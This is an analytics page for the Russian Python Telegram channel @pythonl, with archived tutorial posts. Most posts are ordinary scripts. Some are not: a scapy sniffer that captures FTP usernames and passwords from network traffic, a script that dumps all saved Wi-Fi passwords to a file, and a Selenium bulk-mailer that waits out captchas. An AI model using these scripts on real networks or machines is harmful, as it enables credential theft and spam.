ru
Feedback
Python/ django

Python/ django

Открыть в Telegram

📈 Аналитический обзор Telegram-канала Python/ django

Канал Python/ django (@pythonl) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 59 997 подписчиков, занимая 2 202 место в категории Технологии и приложения и 10 246 место в регионе Россия.

📊 Показатели аудитории и динамика

С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 59 997 подписчиков.

Согласно последним данным от 11 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -568, а за последние 24 часа — -5, при этом общий охват остаётся высоким.

  • Статус верификации: Не верифицирован
  • Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 6.98%. В первые 24 часа после публикации контент обычно набирает 3.11% реакций от общего числа подписчиков.
  • Охват публикаций: В среднем каждый пост получает 4 188 просмотров. В течение первых суток публикация набирает 1 867 просмотров.
  • Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 22.
  • Тематические интересы: Контент сосредоточен на ключевых темах, таких как github, claude, контекст, архитектура, api.

📝 Описание и контентная политика

Автор описывает ресурс как площадку для выражения субъективного мнения:
по всем вопросам @haarrp @itchannels_telegram - 🔥 все ит каналы @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - 📚 @pythonlbooks РКН: clck.ru/3Fmxm...

Благодаря высокой частоте обновлений (последние данные получены 12 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.

59 997
Подписчики
-524 часа
-1167 дней
-56830 день
Архив постов
🟡 This week's digest of useful content from the world of Python Дайджест полезных материалов из мира Python за неделю. Почитать: — Разработка событийно-ориентированных микросервисов с помощью PythonБережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2Я люблю питон, и вот почему он меня беситСписок популярных утечек с GitHub: Анализ репозиториев компанийPyCon Russia 2023. Зона Python. Краткий обзор докладовМенеджеры контекста в PythonЧто происходит, когда запускаешь «Hello World» в LinuxУскорение кода с помощью многопроцессорной обработки в PythonРуководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore Перехват FTP-пароля с помощью PythonКак Python использует сборку мусора для эффективного управления памятьюConverting An Image File Into PDF Using PythonIntroducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces Посмотреть: 🌐 Методы сокращения и улучшения кода на Python 🌐 Продвинутые методы улучшения кода на Python 🌐 Создаем продвинутый интерфейс на Python 🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course Хорошего дня! @pythonl

🖥 Importing Data from SQL Server to Excel with Multiple Sheets using Python Импорт данных из SQL Server в Excel с нескольким
🖥 Importing Data from SQL Server to Excel with Multiple Sheets using Python Импорт данных из SQL Server в Excel с несколькими листами с помощью Python. 🖥 Code @pythonl

🖥 Coldtype Cross-platform display typography in python. Coldtype — это удобная кроссплатформенная библиотека Python для прог
+1
🖥 Coldtype Cross-platform display typography in python. Coldtype — это удобная кроссплатформенная библиотека Python для программирования типографики и текстовой анимации.GithubTutorial @pythonl

❗️Как развиваться Python-разработчику? Наращивать объем знаний и навыков. За этим приходите на вебинар, приуроченный к старту онлайн-курса «Python Developer. Professional» в OTUS. ✅ 15 августа — «Code review» Обсудим основы разработки API с помощью фреймворка FastAPI, рассмотрим пример небольшого приложения и осветим особенности развертывания эксплуатации. 🧑‍💻 Спикером выступит Станислав Ступников, руководитель разработки в VK. Эксперт с 10+ лет опыта промышленной разработки. 💪 Погрузим вас в современную «промышленную» разработку на Python. Главный фокус курса на основных Software Engineering компетенциях Python-разработчика и формировании прагматичного подхода к решению задач. 👉 ПРОЙТИ ТЕСТ для регистрации на открытый урок https://otus.pw/JWbt/ Нативная интеграция. Информация о продукте www.otus.ru

🖥Sniffing FTP password with Python Перехват FTP-пароля с помощью Python. from typing import Protocol import sys from scapy.l
🖥Sniffing FTP password with Python Перехват FTP-пароля с помощью Python. from typing import Protocol import sys from scapy.layers import inet from scapy.all import * from scapy.layers import * import psutil import scapy.all as scapy from scapy.layers import http linea = '--------------------------------------------------' class bcolors: OK = '\033[92m' #GREEN WARNING = '\033[93m' #YELLOW ladrrr = '8GY.' ss = 'OWQ1' FAIL = '\033[91m' #RED pinocho_chocho = 'y!c' RESET = '\033[0m' #RESET COLOR def ftp_creds(p_ftp): if p_ftp[TCP].dport == 21: data = p_ftp.sprintf("%Raw.load%") if "USER" in data: global ip_ftp global ip_ftp2 ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'" print(ip_ftp) global user_ftp data = data.split(" ") data = data[1] global user_ftp2 user_ftp = "'User: ", data, "'" print(user_ftp) elif "PASS" in data: data = data.split(" ") data = data[1] global passwd_ftp global passwd_ftp2 passwd_ftp = "'PASSWORD: ", data,"'" print(passwd_ftp) print(linea) global ftp_ip_final global user_ftp_final def ftp(): print(linea) print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}") addrs = psutil.net_if_addrs() cc = str(addrs.keys()) interfaces = print(cc[9:]) bb = input("Choose Interface to use: ") xs = 0 if bb in cc: try: while xs>=0: print(linea) print(f"{bcolors.WARNING}Searching...{bcolors.RESET}") ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds) except KeyboardInterrupt: print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}") print(linea) global ftphost global ftpuser global ftpass ftp() 📌 Код 📌 Статья @pythonl

🖐 Python Mouse Control Remotely With Your Hand. Дистанционное управление мышью Python рукой с помощью компьютерного зрения.Code @pythonl

🔥Email sender script (Selenium + Python) Скрипт рассылки писем по Email (Selenium + Python). import time from selenium import webdriver from selenium.webdriver.common.keys import Keys import csv # Путь к web-driver EXE_PATH = 'chromedriver.exe' # Логин и пароль от вашей почты EMAIL = email@mail.com PASSWORD = password # запускаем браузер browser = webdriver.Chrome(executable_path=EXE_PATH) # Переходим на страницу шаблонов mail.ru # Сайт выдаст форму авторизации browser.get('https://e.mail.ru/templates/') # Выставляем тайминги задержки чтобы браузер успел прогрузить страницу time.sleep(5) # Теперь нам надо авторизоваться # заполняем поле логин emailElem = browser.find_element_by_name('username') emailElem.send_keys(EMAIL) emailElem.submit() time.sleep(1) # заполняем поле пароль passwordElem = browser.find_element_by_name('password') passwordElem.send_keys(PASSWORD) passwordElem.submit() time.sleep(5) # Мы авторизовались, теперь тащим адреса из файла.csv # Содержание файла # ФИО,Email with open('email_list.csv', encoding="utf-8") as file: EMAIL_LIST = csv.reader(file) # Запускаем цикл for row in EMAIL_LIST: # Если mail что то заподозрит, то выкинет капчу, # мы получаем except, ждем некоторое время, и снова отправлем письмо try: # ФИО <Email> email_to = row[0] + "<" + row[1] + ">" # Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее) browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click() time.sleep(3) # Заполняем поле кому browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to) time.sleep(1) # Нажимаем кнопку отправить browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click() time.sleep(5) # После отправки открывается модальное окно, закрываем его browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click() time.sleep(10) except Exception: # Сообщаем пользователю, что скрипту необходимо переждать print('Error! Wait 1 hour\n') # Ждем час (можно меньше) time.sleep(3600) # Снова нажимаем кнопку отправить browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click() time.sleep(5) # Снова закрываем модальное окно browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click() time.sleep(10) print('SUCCESS!') time.sleep(500) @pythonl

🖥 Create a Simple User Form with Python and Tkinter in 5 Minutes Создание простой пользовательской формы с помощью Python и
🖥 Create a Simple User Form with Python and Tkinter in 5 Minutes Создание простой пользовательской формы с помощью Python и Tkinter за 5 минут - руководство для начинающих. import openpyxl from tkinter import * from tkinter import messagebox def register(): # Get the user input from the form first_name = first_name_entry.get() Last_name = Last_name_entry.get() email = email_entry.get() Mobile = Mobile_entry.get() # Create a new row with the user input new_row = [first_name, Last_name, email,Mobile] # Append the new row to the Excel sheet workbook = openpyxl.load_workbook("registration_data.xlsx") sheet = workbook.active sheet.append(new_row) workbook.save("registration_data.xlsx") messagebox.showinfo("Success", "Registration successful!") # Create the main tkinter window root = Tk() root.title("Registration Form") root.geometry('300x300') # Create labels and entry fields for each input first_name_label = Label(root, text="First Name:") first_name_label.pack() first_name_entry = Entry(root) first_name_entry.pack() Last_name_label = Label(root, text="Last Name:") Last_name_label.pack() Last_name_entry = Entry(root) Last_name_entry.pack() email_label = Label(root, text="Email:") email_label.pack() email_entry = Entry(root) email_entry.pack() Mobile_label = Label(root, text="Mobile:") Mobile_label.pack() Mobile_entry = Entry(root) Mobile_entry.pack() register_button = Button(root, text="Register", command=register) register_button.pack() root.mainloop() @pythonl

🐍Ten New Features of Python 3.11 That Make Your Code More Efficient 10 новых возможностей Python 3.11, которые сделают ваш к
+9
🐍Ten New Features of Python 3.11 That Make Your Code More Efficient 10 новых возможностей Python 3.11, которые сделают ваш код более эффективным. 01 Pattern Matching *изображение 1. 02 Structural Pattern Matching *изображение 2. 03 Type Hints and Checks *изображение 3. 04 Оптимизация производительности *изображение 4. 05 Улучшения отчетов об ошибках *изображение 5. 06 Новая стандартная библиотека zoneinfo *изображение 6. 07 iterate *изображение 7. 08 Merge Dictionary Operator *изображение 8. 09 Новая функция точки прерывания отладки *изображение 9. 10 Синхронная итерация *изображение 10.

⚡️Маст-хэв список для программистов, каналы с последними книжными новинками, библиотеками, разбором кода и актуальной информацией, связанной с вашим языком программирования. Лучший способ получать свежие обновлении и следить за трендами в разработке. Машинное обучение: t.me/ai_machinelearning_big_data Python: t.me/pythonl C#: t.me/csharp_ci C/C++/ t.me/cpluspluc Data Science: t.me/data_analysis_ml Devops: t.me/devOPSitsec Go: t.me/Golang_google Базы данных: t.me/sqlhub Rust: t.me/rust_code Javascript: t.me/javascriptv React: t.me/react_tg PHP: t.me/phpshka Android: t.me/android_its Мобильная разработка: t.me/mobdevelop Linux: t.me/+A8jY79rcyKJlYWY6 Big Data: t.me/bigdatai Хакинг: t.me/linuxkalii Тестирование: https://t.me/+F9jPLmMFqq1kNTMy Java: t.me/javatg 💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy 📕 Бесплатные Книги для программистов: https://t.me/addlist/YZ0EI8Ya4OJjYzEy 🎞 YouTube канал: https://www.youtube.com/@uproger 😆ИТ-Мемы: t.me/memes_prog 🇬🇧Английский: t.me/english_forprogrammers

🔥🔥 VideoCrafter:A Toolkit for Text-to-Video Generation and Editing A Toolkit for Text-to-Video Generation and Editing Опенсоурс алгоритм для генерации видеоконтента и преобразования текста в видео. Github Colab @pythonl

🖥 Excel File Automation Создание и работа с excel-файлами с помощью python-скрипта. from openpyxl import Workbook from openp
🖥 Excel File Automation Создание и работа с excel-файлами с помощью python-скрипта. from openpyxl import Workbook from openpyxl.utils import get_column_letter from openpyxl.styles import Font #making the grid and giving the data data = { "Joe": { "math": 65, "science": 78, "english": 98, "gym": 89 }, "Bill": { "math": 55, "science": 72, "english": 87, "gym": 95 }, "Tim": { "math": 100, "science": 45, "english": 75, "gym": 92 }, "Sally": { "math": 30, "science": 25, "english": 45, "gym": 100 }, "Jane": { "math": 100, "science": 100, "english": 100, "gym": 60 } } wb = Workbook() ws = wb.active #assigning the title ws.title = "Grades" #giving proper formatting for columns headings = ['Name'] + list(data['Joe'].keys()) ws.append(headings) #reading the data for persom for person in data: grades = list(data[person].values()) ws.append([person] + grades) for col in range(2, len(data['Joe']) + 2): char = get_column_letter(col) ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}" #assigning the colour and text type for col in range(1, 6): ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF") #saving the excel file in the same folder wb.save("NewGrades.xlsx") @pythonl

🖥 8 delightful Python scripts that will brighten your day 8 восхитительных скриптов Python, которые скрасят ваш день Эти мал
+7
🖥 8 delightful Python scripts that will brighten your day 8 восхитительных скриптов Python, которые скрасят ваш день Эти маленькие драгоценные камни добавят немного веселья в ваши проекты по программированию. 1. Тест скорости *изображение 1. 2. Конвертация фотографии в мультяшный формат *изображение 2. 3. Вывод статуса сайта *изображение 3. 4. Улучшение изображений *изображение 4. 5. Создание веб-бота *изображение 5. 6. Преобразование: Hex в RGB *изображение 6. 7. Преобразование PDF в изображения *изображение 7. 8. Получить текст песни *изображение 8. @pythonl

🔑 Making a password generator with Python GUI Создание генератора паролей с графическим интерфейсом на Python. import random
+1
🔑 Making a password generator with Python GUI Создание генератора паролей с графическим интерфейсом на Python. import random import string import tkinter as tk import pyperclip root = tk.Tk() root.geometry('500x500') root.title('PASSWORD GENERATOR') letters = string.ascii_letters digits = string.digits special_chars = string.punctuation alphabet = letters + digits + special_chars pwd_length = '' pwd = '' def create_pass(): global alphabet global pwd_length global pwd pwd_length = int(pass_length.get()) pwd = '' for i in range(pwd_length): pwd += ''.join(random.choice(alphabet)) text_result.config(text=pwd) def copy_pwd(): if pwd == '': lbl_alert.config(text='Create a password first') else: pyperclip.copy(pwd) lbl_alert.config(text='Succesfuly copied') text_result = tk.Label(root, text='') text_result.pack() pass_length = tk.Entry(root) pass_length.pack() btn = tk.Button(root, text='Start', command=create_pass) btn.pack() btn_copy = tk.Button(root, text='Copy to clipboard', command=copy_pwd) btn_copy.pack() lbl_alert = tk.Label(root, text='') lbl_alert.pack() root.mainloop() @pythonl

📶 Get Saved Wi-Fi Passwords Скрипт для извлечения всех сохраненных wi-fi паролей в текстовый файл. import subprocess import
📶 Get Saved Wi-Fi Passwords Скрипт для извлечения всех сохраненных wi-fi паролей в текстовый файл. import subprocess import re # Get all the Wi-Fi profiles (ssid) out = subprocess.check_output("netsh wlan show profiles").decode() # Filter out only profile names from the output matches = re.findall(r"(All User Profile)(.*)", out) # List comprehension to remove any \n \r \t and spaces profiles = [str(match[1]).split(":")[1].strip() for match in matches] # File object to store passwords with ssid with open("passwords.txt", "w+") as f: # Traversing each profile for profile in profiles: # try/except block to keep the script from crashing if there was an error while execution try: # Get password using key=clear flag get_pass = subprocess.check_output( f'netsh wlan show profile "{profile}" key=clear' ).decode() # Filter out the Password line from the output pass_by_profile = re.search(r"(Key Content)(.*)", get_pass) # Check if the password is present or wi-fi was open if pass_by_profile: password = pass_by_profile.group().split(":")[1].strip() else: password = "THE WIFI IS OPEN" # Write the profile name and password to the text file f.write(f"{profile} : {password}\n") except Exception: continue @pythonl

⚡️Маст-хэв список программистов, каналы с последними книжными новинками, библиотеками, разбором кода и актуальной информацией, связанной с вашим языком программирования. Лучший способ получать свежие обновлении и следить за трендами в разработке. Python: t.me/pythonl C#: t.me/csharp_ci C/C++/ t.me/cpluspluc Машинное обучение: t.me/ai_machinelearning_big_data Data Science: t.me/data_analysis_ml Devops: t.me/devOPSitsec Go: t.me/Golang_google Базы данных: t.me/sqlhub Rust: t.me/rust_code Javascript: t.me/javascriptv React: t.me/react_tg PHP: t.me/phpshka Android: t.me/android_its Мобильная разработка: t.me/mobdevelop Linux: t.me/+A8jY79rcyKJlYWY6 Big Data: t.me/bigdatai Хакинг: t.me/linuxkalii Java: t.me/javatg 💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy 🎞 YouTube канал: https://www.youtube.com/@uproger 😆ИТ-Мемы: t.me/memes_prog 🇬🇧Английский: t.me/english_forprogrammers

🤓 StackOverflow Question Scraper Парсер вопросов StackOverflow на Python. from bs4 import BeautifulSoup import requests impo
🤓 StackOverflow Question Scraper Парсер вопросов StackOverflow на Python. from bs4 import BeautifulSoup import requests import json fmt = "https://stackoverflow.com/questions/tagged/{tag}?tab={filter}&pagesize=15" filters = [ "1. Newest", "2. Active", "3. Bounties", "4. Unanswered", "5. Frequent", "6. Votes", ] tag = input("enter any question tag (python, java)\n") print("\n".join(filters)) filter = int(input("enter the filter number (1, 3, 5)\n")) try: filter = filters[filter].split(" ")[-1] except: filter = "Votes" # generate dynamic URL with user preferences URL = fmt.format(tag=tag, filter=filter) print("generated URL ", URL) content = requests.get(URL).content soup = BeautifulSoup(content, "lxml") # return only question tags def is_question(tag): try: return tag.get("id").startswith("question-summary-") except: return False questions = soup.find_all(is_question) question_data = [] if questions: # extract question data like votes, title, link and date for question in questions: question_dict = {} question_dict["votes"] = ( question.find(class_="s-post-summary--stats-item-number").get_text().strip() ) h3 = question.find(class_="s-post-summary--content-title") question_dict["title"] = h3.get_text().strip() question_dict["link"] = "https://stackoverflow.com" + h3.find("a").get("href") question_dict["date"] = ( question.find(class_="s-user-card--time").span.get_text().strip() ) question_data.append(question_dict) with open(f"questions-{tag}.json", "w") as f: json.dump(question_data, f) print("file exported") else: print(URL) print("looks like there are no questions matching your tag ", tag) @pythonl

📩 Python Email Automation: Enhancing Efficiency and Productivity with Streamlined Operations Автоматизация отправки электрон
📩 Python Email Automation: Enhancing Efficiency and Productivity with Streamlined Operations Автоматизация отправки электронной почты на Python: Повышение эффективности и производительности за счет оптимизации операций. import pandas as pd import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText def read_excel(file_name): data = pd.read_excel(file_name, engine='openpyxl') return data def send_email(receiver_address, sender_address, sender_pass, subject, body): msg = MIMEMultipart() msg['From'] = sender_address msg['To'] = receiver_address msg['Subject'] = subject msg.attach(MIMEText(body, 'plain')) # Use the appropriate SMTP server # For Gmail server = smtplib.SMTP('smtp.gmail.com', 587) # For Office 365 # server = smtplib.SMTP('smtp.office365.com', 587) # For iCloud # server = smtplib.SMTP('smtp.mail.me.com', 587) server.starttls() server.login(sender_address, sender_pass) text = msg.as_string() server.sendmail(sender_address, receiver_address, text) server.quit() def automate_emails(data_frame, sender_address, sender_pass, subject): for index, row in data_frame.iterrows(): send_email(row['email'], sender_address, sender_pass, subject, f"Hello {row['name']},\n{row['message']}") data_frame = read_excel('emailsend.xlsx') # Replace 'your-email@gmail.com' and 'your-password' with your own credentials. Pass the app password as the third parameter. automate_emails(data_frame, '', '', '') @pythonl

🔢 How To Code a Simple Number Guessing Game in Python Пишем игру для угадывания чисел на Python. # main.py import random # d
+1
🔢 How To Code a Simple Number Guessing Game in Python Пишем игру для угадывания чисел на Python. # main.py import random # define range and max_attempts lower_bound = 1 upper_bound = 1000 max_attempts = 10 # generate the secret number secret_number = random.randint(lower_bound, upper_bound) # Get the user's guess def get_guess(): while True: try: guess = int(input(f"Guess a number between {lower_bound} and {upper_bound}: ")) if lower_bound <= guess <= upper_bound: return guess else: print("Invalid input. Please enter a number within the specified range.") except ValueError: print("Invalid input. Please enter a valid number.") # Validate guess def check_guess(guess, secret_number): if guess == secret_number: return "Correct" elif guess < secret_number: return "Too low" else: return "Too high" # track the number of attempts, detect if the game is over def play_game(): attempts = 0 won = False while attempts < max_attempts: attempts += 1 guess = get_guess() result = check_guess(guess, secret_number) if result == "Correct": print(f"Congratulations! You guessed the secret number {secret_number} in {attempts} attempts.") won = True break else: print(f"{result}. Try again!") if not won: print(f"Sorry, you ran out of attempts! The secret number is {secret_number}.") if __name__ == "__main__": print("Welcome to the Number Guessing Game!") play_game() @pythonl

🎤🔤 Embrace the Power of Speech-to-Text in Python! Представляет собой пошаговый пример кода на языке Python, использующий би
🎤🔤 Embrace the Power of Speech-to-Text in Python! Представляет собой пошаговый пример кода на языке Python, использующий библиотеку SpeechRecognition для преобразования речи в текст. pip install SpeechRecognition import speech_recognition as sr recognizer = sr.Recognizer() with sr.Microphone() as source: print("Say something...") recognizer.adjust_for_ambient_noise(source) # Optional: Adjust for background noise audio = recognizer.listen(source) audio_file = "path/to/your/audio_file.wav" # Replace with the path to your audio file with sr.AudioFile(audio_file) as source: audio = recognizer.listen(source) try: print("Converting speech to text...") text = recognizer.recognize_google(audio) print("You said:", text) except sr.UnknownValueError: print("Google Speech Recognition could not understand the audio.") except sr.RequestError as e: print("Could not request results from Google Speech Recognition service; {0}".format(e)) @pythonl